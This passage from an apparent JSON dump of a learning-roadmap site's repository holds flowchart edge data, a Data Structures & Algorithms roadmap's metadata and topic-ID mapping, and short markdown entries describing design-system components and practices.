\"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__VMV4F-SPKWn9CtpHXEjeNy2-qUlqyTjk3XKF9DEm6Lsgbz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Y1Uz6XRbR1YqFtO4akiPA\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"RiS8KZs3YBE6mKWPHszMp\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__VMV4F-SPKWn9CtpHXEjeNy2-RiS8KZs3YBE6mKWPHszMpz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Y1Uz6XRbR1YqFtO4akiPA\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"xchWhsizaKgYuHPC4Tz9H\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__VMV4F-SPKWn9CtpHXEjeNy2-xchWhsizaKgYuHPC4Tz9Hz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Y1Uz6XRbR1YqFtO4akiPA\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"4ZAzcwP0oPGZ9Rw042V8-\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__VMV4F-SPKWn9CtpHXEjeNy2-PouN8aPuA0lDxqZibLMVTz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Y1Uz6XRbR1YqFtO4akiPA\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"jKAZNybU9cxufNBdFsqsP\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__VMV4F-SPKWn9CtpHXEjeNy2-jKAZNybU9cxufNBdFsqsPz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Y1Uz6XRbR1YqFtO4akiPA\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"itvhUXbe9dr9JN5ga2jYy\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__VMV4F-SPKWn9CtpHXEjeNy2-itvhUXbe9dr9JN5ga2jYyz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Y1Uz6XRbR1YqFtO4akiPA\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"gbHVR-ojRxv9I0E5eSlWy\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__VMV4F-SPKWn9CtpHXEjeNy2-q9qLI6HzOJ0vYaIVrZ5CUz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    }\n  ]\n}"
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/datastructures-and-algorithms.md",
    "content": "---\njsonUrl: '/jsons/roadmaps/datastructures-and-algorithms.json'\npdfUrl: '/pdfs/roadmaps/datastructures-and-algorithms.pdf'\norder: 18\nrenderer: \"editor\"\nbriefTitle: 'Data Structures & Algorithms'\nbriefDescription: 'Step by step guide to learn Data Structures and Algorithms in 2025'\ntitle: 'Data Structures & Algorithms'\ndescription: 'Step by step guide to learn Data Structures and Algorithms in 2025'\nhasTopics: true\nisNew: false\ndimensions:\n  width: 968\n  height: 2525\nschema:\n  headline: 'Data Structures and Algorithms Roadmap'\n  description: 'Learn about Data Structures and Algorithms with this interactive step by step guide in 2025. We also have resources and short descriptions attached to the roadmap items so you can get everything you want to learn in one place.'\n  imageUrl: 'https://roadmap.sh/roadmaps/datastructures-and-algorithms.png'\n  datePublished: '2024-02-20'\n  dateModified: '2024-02-20'\nseo:\n  title: 'Data Structures and Algorithms Roadmap'\n  description: 'Learn about Data Structures and Algorithms using this roadmap. Community driven, articles, resources, guides, interview questions, quizzes for modern data structure and algorithms.'\n  keywords:\n    - 'dsa'\n    - 'dsa roadmap'\n    - 'dsa roadmap 2025'\n    - 'learn data structures'\n    - 'learn algorithms'\n    - 'datastructures and algorithms roadmap 2025'\n    - 'datastructures and algorithms engineer'\n    - 'data structures roadmap'\n    - 'data structures roadmap 2025'\n    - 'algorithms roadmap'\n    - 'algorithms roadmap 2025'\n    - 'self-taught datastructures and algorithms'\nrelatedRoadmaps:\n  - 'computer-science'\n  - 'python'\n  - 'cpp'\n  - 'linux'\n  - 'rust'\nsitemap:\n  priority: 1\n  changefreq: 'monthly'\ntags:\n  - 'roadmap'\n  - 'main-sitemap'\n  - 'skill-roadmap'\n---\n"
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/faqs.astro",
    "content": ""
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/migration-mapping.json",
    "content": "{\n  \"language\": \"Z4uVzAoNzcAkyjd-lp3_M\",\n  \"programming-fundamentals\": \"ebQdTOAOV54WBToHmFtBk\",\n  \"programming-fundamentals:language-syntax\": \"kE6qddRhO8C5ur3JbeuhF\",\n  \"programming-fundamentals:control-structures\": \"G74Xp8_EMZO2oEzNTRAli\",\n  \"programming-fundamentals:functions\": \"Cu08m5JOfvrPUDGony144\",\n  \"programming-fundamentals:oop-basics\": \"QFR1FMOf2OV3n3jcDnOCP\",\n  \"programming-fundamentals:pseudo-code\": \"tvy3Vic8Vp-Ie2x_OyZ5b\",\n  \"language:csharp\": \"BZvNEZjCNuHPg5SkX90bt\",\n  \"language:cpp\": \"IWmq4UFB5j6O3UJfarh1u\",\n  \"language:python\": \"XyRCXhZjQFcDNaUSNNQV-\",\n  \"language:rust\": \"acgRMEuL4ZGGRHpZ7kXSo\",\n  \"language:ruby\": \"9h1mz0xAUvPrnRm9VndJF\",\n  \"language:go\": \"OkdM_PJge70j5tsjT2Esl\",\n  \"language:javascript\": \"HVD9G3JlLBsAg111vQILj\",\n  \"language:java\": \"gjZZOwmYkXQHPfg9Ynz80\",\n  \"basic-data-structures\": \"iTlpa9A7h33FkUAv0UaVZ\",\n  \"basic-data-structures:array\": \"lxY3ErxJ_D3zkSAXIBUpv\",\n  \"basic-data-structures:linked-lists\": \"bRu9u8pEAQ1TmKygjIjyI\",\n  \"basic-data-structures:stacks\": \"jvKRykGNy140FlquF2fcK\",\n  \"basic-data-structures:queues\": \"v0phjC75jhmE1z-f9ZMck\",\n  \"basic-data-structures:hash-tables\": \"kSy-8ubESdmIX4Fyl8TSu\",\n  \"data-structures:what-are-datastructures\": \"jvWuYXWRtt_ePawc4q1Tg\",\n  \"data-structures:importance-of-datastructures\": \"8_GkF9zhRL8tvT2qu-bGj\",\n  \"algorithmic-complexity\": \"VotdHk0_bI3CeoIf-KoKu\",\n  \"algorithmic-complexity:time-vs-space\": \"unaYmPzK761Eh_iZMLeRC\",\n  \"algorithmic-complexity:calculating\": \"HosRc0hczubBHrWxCzEJj\",\n  \"algorithmic-complexity:asymptotic-notation\": \"v0LrabYYOKzV4oCXOK2Rs\",\n  \"algorithmic-complexity:asymptotic-notation:big-o\": \"oylTfop_JDPHJ3jYuA2Nq\",\n  \"algorithmic-complexity:asymptotic-notation:big-theta\": \"Ex6tzu6gwrarWm1CNFufO\",\n  \"algorithmic-complexity:asymptotic-notation:big-omega\": \"CkUi93TvTkEm2_isHNvqr\",\n  \"algorithmic-complexity:common-runtimes\": \"nqnO1Wz3gYIMR98_BnF2V\",\n  \"algorithmic-complexity:common-runtimes:constant\": \"_bpV8MkVOY8ZatTXYaEE4\",\n  \"algorithmic-complexity:common-runtimes:linear\": \"HOpL-4jYhOe0LNrrkPrET\",\n  \"algorithmic-complexity:common-runtimes:logarithmic\": \"Cnceet0yroFHzn8npAir8\",\n  \"algorithmic-complexity:common-runtimes:polynomial\": \"QKhmM_IG1FkBudfdrf1aT\",\n  \"algorithmic-complexity:common-runtimes:exponential\": \"xqzaYJBvlsNtT6qZ59ktv\",\n  \"algorithmic-complexity:common-runtimes:factorial\": \"wclY3cmt1fBNYjLsmijdW\",\n  \"sorting-algorithms\": \"WzFkdkcbL8ea9DBkjfSwa\",\n  \"sorting-algorithms:bubble-sort\": \"zUDKCJCQHLW4c_6A349R3\",\n  \"sorting-algorithms:merge-sort\": \"k0UBAj3hOYab4mUziOYyW\",\n  \"sorting-algorithms:insertion-sort\": \"liJfTV5ajAFZcfwBdVGpU\",\n  \"sorting-algorithms:quick-sort\": \"LgEV0Wm4avrOqR8bV5GXW\",\n  \"sorting-algorithms:selection-sort\": \"SMgBHvqXLD6Cgr2nix4wR\",\n  \"sorting-algorithms:heap-sort\": \"yMv9Oa3hsgT8Adx6m_rdL\",\n  \"search-algorithms\": \"z_Cf_alLAYSCyYtNviRcO\",\n  \"search-algorithms:linear-search\": \"AtX-PeI8nY4-5bA-xLla0\",\n  \"search-algorithms:binary-search\": \"Wt74MRKaZcs8lYvfqjffT\",\n  \"tree-data-structure\": \"r2Jagzbx0qOG-VtxBY-mz\",\n  \"tree-data-structure:binary-trees\": \"RPU5CGp2Li5lk0UB-zNHT\",\n  \"tree-data-structure:binary-search-trees\": \"UYm7unZfXd9Ge5EYV4odb\",\n  \"tree-data-structure:avl-trees\": \"5MCgKpylPzDZaGBEUU51r\",\n  \"tree-data-structure:b-trees\": \"2F6BcbAzICynOK3oEj-Is\",\n  \"tree-data-structure:tree-traversal\": \"2Od5lNc6fCM6Gyj_axj4n\",\n  \"tree-data-structure:tree-traversal:in-order-traversal\": \"iCA7UKZih4ItDmDNEC8Q-\",\n  \"tree-data-structure:tree-traversal:pre-order-traversal\": \"BMEoO65zsX51H4Js1gcWI\",\n  \"tree-data-structure:tree-traversal:post-order-traversal\": \"j6_DyKiyG1wBuygQkxWB7\",\n  \"tree-data-structure:search-algorithms\": \"YJsAQWJpLwVN6oCxNwNAn\",\n  \"tree-data-structure:search-algorithms:breadth-first-search\": \"pfg-qclOpvlsGMdlZ1aoj\",\n  \"tree-data-structure:search-algorithms:depth-first-search\": \"gR8KcOIADUxS8hdiEaGZy\",\n  \"graph-data-structure\": \"j_r1tB16bA7R3yDAWN7Oj\",\n  \"graph-data-structure:directed-graph\": \"XVw2_dL3uN0SOWmjH1Uao\",\n  \"graph-data-structure:undirected-graph\": \"VnKm_j7McUW9Lo0iKyPUp\",\n  \"graph-data-structure:search-algorithms\": \"LW5HZMca4lvhbbA8KYaOa\",\n  \"graph-data-structure:search-algorithms:breadth-first-search\": \"c7LdXJPv-5M-NPKSCXYuB\",\n  \"graph-data-structure:search-algorithms:depth-first-search\": \"NrPO7vF8Z1WzmA9Ca3Y_E\",\n  \"graph-data-structure:shortest-path-algorithms\": \"N-qvYirxpORcaTslvlOL0\",\n  \"graph-data-structure:shortest-path-algorithms:dijkstra-algorithm\": \"87UugvReiywF0E7Acos9U\",\n  \"graph-data-structure:shortest-path-algorithms:bellman-ford\": \"7CgGwdwHnOmISmEPtJegN\",\n  \"graph-data-structure:minimum-spanning-tree\": \"Ktqau1VkVrnnVYByqcacM\",\n  \"graph-data-structure:minimum-spanning-tree:prims-algorithm\": \"yEWnYjW0ZLVhsLc9rH4ae\",\n  \"graph-data-structure:minimum-spanning-tree:kruskal-algorithm\": \"F3bPbwIdCNMzL7QXEYJK3\",\n  \"advanced-data-structures\": \"KnyUHDvpDTUO0EkAs9pT8\",\n  \"advanced-data-structures:trie\": \"zy3wpb1MjizfUfx9_rZy2\",\n  \"advanced-data-structures:segment-trees\": \"iFNS3x9wVRIjpixct6H7x\",\n  \"advanced-data-structures:fenwick-trees\": \"V9SWO58kaMsU1NT7q26WG\",\n  \"advanced-data-structures:disjoint-set\": \"La8XAT0BWvqRCrvQxtZIp\",\n  \"advanced-data-structures:suffix-trees-arrays\": \"zprVkxpojaxNo0LQar3Ex\",\n  \"complex-data-structures\": \"kSpgFuAHyzySWlGBLOHZR\",\n  \"complex-data-structures:b-bplus-trees\": \"2G6vn7K11_mPQQ7_IXJ96\",\n  \"complex-data-structures:skip-list\": \"TQu-OBpvR-aQfMByUcwyM\",\n  \"complex-data-structures:isam\": \"uxErZ4gLeKqwhrUG88InQ\",\n  \"complex-data-structures:2-3-trees\": \"o0fNAhJ1LsCdmGzY2ni_x\",\n  \"indexing\": \"Ar7GEGfI9O_dLPbIEVhF_\",\n  \"indexing:linear-indexing\": \"4noav5w_8GrMTXN1Lxm5h\",\n  \"indexing:tree-based-indexing\": \"ZXUfeyfC5oSKkGktXuK8t\",\n  \"problem-solving-techniques\": \"Y1Uz6XRbR1YqFtO4akiPA\",\n  \"problem-solving-techniques:brute-force\": \"5T2y6Iqi-I_zOtLkeSPzY\",\n  \"problem-solving-techniques:backtracking\": \"mKoC5o__gLSTjAlq8iXkV\",\n  \"problem-solving-techniques:greedy-algorithms\": \"qUlqyTjk3XKF9DEm6Lsgb\",\n  \"problem-solving-techniques:randomised-algorithms\": \"RiS8KZs3YBE6mKWPHszMp\",\n  \"problem-solving-techniques:divide-and-conquer\": \"xchWhsizaKgYuHPC4Tz9H\",\n  \"problem-solving-techniques:recursion\": \"4ZAzcwP0oPGZ9Rw042V8-\",\n  \"problem-solving-techniques:dynamic-programming\": \"jKAZNybU9cxufNBdFsqsP\",\n  \"problem-solving-techniques:two-pointer-techniques\": \"itvhUXbe9dr9JN5ga2jYy\",\n  \"problem-solving-techniques:sliding-window-technique\": \"gbHVR-ojRxv9I0E5eSlWy\",\n  \"platforms-for-practice\": \"VMV4F-SPKWn9CtpHXEjeN\",\n  \"platforms-for-practice:leetcode\": \"waM_j5mbe_XoA7h8u4vFN\",\n  \"platforms-for-practice:edabit\": \"8-7phxPp1D1mv2yubpLBo\"\n}"
  },
  {
    "path": "src/data/roadmaps/design-system/content/ab-tests--experiments@ILRDAnpfGHCZq-FBlbfDO.md",
    "content": "# A/B Tests and Experiments\n\nUnderstand how the team implements A/B tests and experiments on different screens and if the new design system should accommodate any necessary requirements.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/accessibility-testing@yhP8EhyCWWRBLkYPyOFeg.md",
    "content": "# Accessibility Testing\n\nDesign systems should cover accessibility as much as possible. Making this automatic reduces the risk of inaccessible components or user flows in the product.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/accessibility@DhrnZwQODG0P7D-27_3ec.md",
    "content": "# Accessibility\n\nFor icons that convey a meaning or serve a function, add the necessary support for screen readers. You can skip this for decorative icons.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/accessibility@aLtOGjNFxaRzg0PI-ed99.md",
    "content": "# Accessibility\n\nGuidelines for how you approach accessibility and how you leverage colour, hierarchy and assistive technologies to help your users.\n\nVisit the following resources to learn more:\n\n- [@article@Introduction to Web Accessibility](https://www.w3.org/WAI/fundamentals/accessibility-intro/)\n- [@article@What is Accessibility? by Mozilla](https://developer.mozilla.org/en-US/docs/Learn/Accessibility/What_is_accessibility)\n- [@article@Accessibility Principles](https://www.w3.org/WAI/fundamentals/accessibility-principles/)\n- [@article@WebAIMs Website (Web Accessibility In Mind)](https://webaim.org/)\n- [@article@WAVE Web Accessibility Evaluation Tool](https://wave.webaim.org/)\n- [@feed@Explore top posts about Accessibility](https://app.daily.dev/tags/accessibility?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/accessibility@fW0cEy2SB0HDbiF7QA7Ev.md",
    "content": "# Accessibility\n\nMake sure to have accessible pairings between the main colours in your palette. More importantly, make sure that your background and text colours have at least an AA standard contrast ratio between them.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/avatar@_dIMuXWI73ogboGjnLIpT.md",
    "content": "# Avatar\n\nAvatars represent users or entities in interfaces. They should support multiple shapes (circular, square), various sizes, handle missing images with initials or default icons, include status indicators, maintain image quality standards, ensure accessibility, provide loading states, and support group arrangements with proper interactive feedback."
  },
  {
    "path": "src/data/roadmaps/design-system/content/avatar@h3TZY1yBkzLYUK6W7K7xs.md",
    "content": "# Avatar\n\nAvatars are used to show a thumbnail of a user photo or a visual representation of any other type of content.\n\n- **Image:** Avatars should mask an image into their shape and work with any image size since they may get this image from unknown data sources.\n- **Image Fallback:** There should be fallbacks when there’s no image available. This can be done with placeholder images or initials.\n- **Accessibility:** Always provide a description for screen readers describing what’s displayed on the avatar image instead of just naming its role.\n- **Sizes:** There are many contexts to use avatars and they all require different sizes for the component. For average projects use at least 2-3 different sizes and make sure there’s at least a small size available.\n- **Icon:** Avatars can be used with an icon instead of an image to emphasize areas that don’t necessarily have (or need) an image associated with it.\n- **Background Colors:** When used with icons or text, there has to be a background colour from the design system colour tokens applied to the avatar shape. Make sure that icons and text have enough contrast ratio with the background according to the WCAG AA standard.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/badge@LNsXQI8sE_5kzSD_iMLJA.md",
    "content": "# Badge\n\nBadges are elements that represent the status of an object or user input value.\n\n- **Appearance:** Badges may play various roles in your product and having a predefined colour for each role should help users understand their meaning. When changing colours, make sure the text has enough contrast ratio with the background according to the WCAG AA standard.\n- **Dismissible Action:** Badges can be used as a dynamic way to display selected values and there should be a way to dismiss them.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/badges@UG4AIgJBfZpuhia4Y1K5v.md",
    "content": "# Badges\n\nBadges are small status indicators that communicate information about objects or actions. Effective design should include numeric indicators for notifications, status badges with distinct colors, category labels, interactive states, multiple sizes, semantic color integration, consistent positioning, content guidelines, and proper accessibility."
  },
  {
    "path": "src/data/roadmaps/design-system/content/banner@kkqRIgdXWaJbX9CjLpwha.md",
    "content": "# Banner\n\nBanners display an actionable message used as a prominent way of communicating with your users.\n\n- **Appearance:** Banners are used to display different types of messages and it’s important to differentiate their visual appearance based on the role they’re playing. If you’re using background colours for role differentiation, make sure there’s enough contrast ratio with the content according to the WCAG AA standard.\n- **Area for icons or images:** Banners can supplement their message using a supporting icon or image. They shouldn’t be used instead of text content.\n- **Actions:** Actions in banners should relate to its text and provide a way to react to the message sent to the user.\n- **Dismissible Action:** Don’t overwhelm the user with banners on the page and include a dismissable action. That may be either a separate close button or one of the actions provided.\n- **Accessibility:** If a banner dynamically appears on the page, it should be announced to the user by their assistive technology.\n- **Responsiveness:** Banners should adapt to the viewport size. This usually means that they become full-width for mobile to save some space.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/banners@5DUobzueMZbScyTZTHpCS.md",
    "content": "# Banners\n\nBanners communicate important information at the top of pages. They should support different message types with distinct visuals, various positioning options, clear dismissal mechanisms, relevant actions, consistent iconography, mobile adaptations, subtle animations, content guidelines, proper accessibility, and stacking rules for multiple banners."
  },
  {
    "path": "src/data/roadmaps/design-system/content/breakpoints@djwnJq9Y_Hx1Ynw01wr_u.md",
    "content": "# Breakpoints\n\nPredefine the screen sizes and orientations your grid will adapt to.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/button@LWihkf4q5UawjLd84KQxN.md",
    "content": "# Button\n\nButtons are interactive elements used for single-step actions.\n\n- **Hover State:** Clearly show that the button is interactive when it gets hovered with a mouse cursor.\n- **Active State:** Used when a button gets pressed. The same state can be used to represent the button responsible for toggling another element on the page while that element is visibly opened.\n- **Focused State:** Used when a button gets selected through keyboard navigation.\n- **Icon Support:** Icons easily communicate the purpose of the button when used next to its label or can be used without text when there’s not enough space. Make sure that the accessibility label is provided when used with an icon only.\n- **Disabled:** Visually shows that a button is not interactive and restricts it from being pressed.\n- **Loading:** Used when users have to wait for the result of their action after they press a button. If a spinner is used to display this state make sure that it’s not changing the original button width or height.\n- **Full Width:** By default buttons take the width of their content, but they should also come with a full width variant that works well in mobile devices.\n- **Variants:** When using multiple buttons, there should be a way to differentiate between primary and secondary actions. Buttons may play different roles for the user or be used on different types of surfaces and they have to change the way they look.\n- **Sizes:** Buttons can be used in different areas of the website and may have multiple predefined sizes. On mobile, tappable areas have to be a minimum of 48px to be accessible according to iOS and Android accessibility guidelines.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/buttons@s6oqvHgwK4Cwyx-JENBbY.md",
    "content": "# Buttons\n\nButtons enable user actions and require clear visual hierarchy (primary, secondary, tertiary), comprehensive interactive states, multiple sizes, icon support, content guidelines, minimum 44px touch targets, loading indicators, responsive behavior, proper accessibility with ARIA labels, and subtle animations."
  },
  {
    "path": "src/data/roadmaps/design-system/content/card@rZ7d1C9swiqlRTbdJLZ0R.md",
    "content": "# Card\n\nCards are used to group information about subjects and their related actions.\n\n- **Supports any type of content:** Cards are one of the most used components in the product, so they have to be flexible enough to support any other components placed in them.\n- **Information structure:** No matter how flexible cards are, it’s important for cards to have a specific structure for its elements for product consistency.\n- **Supports media sections:** One of the most popular scenarios for using cards is mixing them with media content. The most popular options are having a full-width area on top of the content or full-height area at one of the card’s sides.\n- **Supplementary actions:** Cards can be used with actions usually placed at the bottom of the card, or the card itself can be tappable and represent an action.\n- **Responsiveness:** On mobile viewports cards are usually full-width in order to save space for the content.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/cards@yLLAUGbGUHBTEDkZNK0fm.md",
    "content": "# Cards\n\nCards are flexible content containers that group related information and actions. They require clear content hierarchy, consistent elevation systems, responsive behavior, distinct interactive states, media support, defined action areas, content variants, loading states, proper accessibility, and consistent spacing aligned with the design system."
  },
  {
    "path": "src/data/roadmaps/design-system/content/carousel@yWEXfjzuzk99dxjZlG4Cq.md",
    "content": "# Carousel\n\nCarousels stack the same type of items and allows scrolling through them horizontally.\n\n- **Navigation Controls:** Carousels should have easy-to-find navigation controls for scrolling through content.\n- **Supports any content:** Carousels can be used in different contexts and shouldn’t be limited to a specific child component. In some scenarios you might want items within the same carousel to differ from each other.\n- **Items width customisation:** For simple products, it might be fine to use multiple predefined sizes for carousel items. For more flexibility, it’s good to provide a way to define a custom width.\n- **Touch events support:** Carousels should be scrollable on touch devices. Some of the best practices are to use native scrolling and to make sure you’re supporting the same behaviour for all touch devices, not just mobile phones.\n- **Keyboard navigation:** It should be possible to scroll through content with keyboard arrows when focused on navigation controls.\n- **Responsiveness:** It’s good practice to hide or reduce the size of navigation controls for mobile viewports to improve the visibility of the content.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/code-style@zEqFAuH9zmKTLwwgx54pW.md",
    "content": "# Code Style\n\nHaving a defined code style helps align the way code’s written in the system and increases development velocity. It should be automated with the tools provided for each platform.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/color@2prUeRYbSJTYjo2quJIKs.md",
    "content": "# Color\n\nColor establishes brand identity and visual hierarchy in design systems. A comprehensive color system should organize colors logically, meet WCAG accessibility standards, support light/dark themes, create semantic categories, establish systematic naming, balance brand expression with function, and provide multiple formats."
  },
  {
    "path": "src/data/roadmaps/design-system/content/commit-guidelines@IVYe8oh1IWbUbxMZRxVQA.md",
    "content": "# Commit Guidelines\n\nAutomate the generation of your changelog by adopting a commit message guidelines that categorise and define the changes being made.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/communication-channel@LWrrKrhwXfMDKgbFW5DuO.md",
    "content": "# Communication Channel\n\nMost product development work happens digitally, so create a digital channel where people can reach out and ask questions.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/community-meetings@eG8ranXuINtcqWfeMH5GW.md",
    "content": "# Community Meetings\n\nArrange community meetings with everyone who uses the design system. Share your knowledge and make proposals to improve the sense of community.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/component-analytics@G8dOkM_4hP7wPF3QJ8y4g.md",
    "content": "# Component Analytics\n\nTrack the usage of your components. For development you can use built-in tools like Figma’s Design System Analytics. For the end product you can have a separate way of tracking per platform depending on the technology.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/component-catalog@VeLiPzbGr22_Mh_8T2Gnf.md",
    "content": "# Component Catalog\n\nIsolate your UI components’ environment outside of your product codebase to make sure they’re not dependent on any global dependencies and can be easily reused.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/component-library@vJ4WytrzY7j10mo8S3O1u.md",
    "content": "# Component Library\n\nA component library is a collection of all the components used in a website, software or app. Some of the common tools to showcase and browse components in a component library include are given below:\n\nVisit the following resources to learn more:\n\n- [@article@Pattern Lab](https://patternlab.io/)\n- [@article@Fractal](https://fractal.build/)\n- [@article@Storybook](https://storybook.js.org/)\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/component@97cpJyKBKNAq1P_pQZH-t.md",
    "content": "# Component\n\nComponents are the reusable building blocks of a design system. Each component meets a specific interaction or UI needs, and is specifically created to work together to create patterns and intuitive user experiences.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/contribution-guidelines@TiCNCRpMPgZUhn7JdaIZA.md",
    "content": "# Contribution Guidelines\n\nDefine the process of contributing to the UI and UX of the design system and document it in a discoverable place to make it easier for everyone to contribute.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/contribution-guidelines@xJ1LAAhiZvbZOLRVc1HZa.md",
    "content": "# Contribution Guidelines\n\nDefine the process of contributing to the code of the design system. Document everything in a discoverable place to make it easier for everyone to contribute.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/creating-core-components@Hw_LQInG6OtSwDXch3Lvg.md",
    "content": "# Core Components\n\nComponents are the main building blocks for user interfaces. Building a reusable component library enhances your product development workflow by reducing design and tech debt and speeding up the process. Core components can’t be broken down into granular pieces without losing their meaning.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/creating-core-components@jggrr5nZOe6FY3ZrZJTOw.md",
    "content": "# Tooling\n\nTo make things efficient for anyone using your design system, make tooling essential. Find the workflows where you can integrate things with the tools people use. This helps organically spread your design system and make it crucial to people’s daily work.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/creating-design-language@JnaNZ9MfMrXQrjW2wABzB.md",
    "content": "# Design Language\n\nLike any language, a design language is a methodical way of communicating with your audience through your approach to product design. It’s the cornerstone of consistent customer experiences.\n\nVisit the following resources to learn more:\n\n- [@article@What is a Design Language.. really?](https://medium.com/thinking-design/what-is-a-design-language-really-cd1ef87be793)\n- [@article@How to Develop a Design Language](https://xd.adobe.com/ideas/principles/web-design/how-to-develop-design-language/)\n- [@article@What Actually Constitutes Design Language?](https://www.uxpin.com/studio/blog/design-language/)\n- [@article@Visual Design Language: The Building Blocks Of Design](https://www.smashingmagazine.com/2020/03/visual-design-language-building-blocks/)\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/dark-mode@kxUnqpydDwB73IwrCPZM0.md",
    "content": "# Dark Mode\n\nPreparing a dark mode version of your colour palette will allow your design system to adapt to dark mode and respect what your user wants to see.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/defining-design-tokens@a53cl6ZKvYXxG25Ii2_zu.md",
    "content": "# Design Tokens\n\nVariables that store values for the base layer of your design system, like colour and typography. They’re used in components, so changes on this level will resonate throughout the whole system.\n\nVisit the following resources to learn more:\n\n- [@article@What Are Design Tokens?](https://xd.adobe.com/ideas/principles/design-systems/what-are-design-tokens/)\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/design-editor@ccpT9MPFbc3Ewjm1tFMsZ.md",
    "content": "# Design Editor\n\nThere are many design editors available in the market today with the most popular names being Sketch, Figma and Adobe XD. If you're unsure which route to go down it's often best to speak with your team.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/design-language@fPUuXrlchna3K00KcY4O6.md",
    "content": "# Design Language\n\nA design language or design vocabulary is an overarching scheme or style that guides the design of a complement of products or architectural settings, creating a coherent design system for styling.\n\nVisit the following resources to learn more:\n\n- [@article@What is a Design Language.. really?](https://medium.com/thinking-design/what-is-a-design-language-really-cd1ef87be793)\n- [@article@How to Develop a Design Language](https://xd.adobe.com/ideas/principles/web-design/how-to-develop-design-language/)\n- [@article@What Actually Constitutes Design Language?](https://www.uxpin.com/studio/blog/design-language/)\n- [@article@Visual Design Language: The Building Blocks Of Design](https://www.smashingmagazine.com/2020/03/visual-design-language-building-blocks/)\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/design-principles@1RJrMVJf_3clM7E5OML-f.md",
    "content": "# Design Principles\n\nThe considerations that guide the basis of your practice. They outline how you approach design from a philosophical perspective and help with everyday decisions.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/design-system-examples@hauTvrBOAHgrUnO_m_kDM.md",
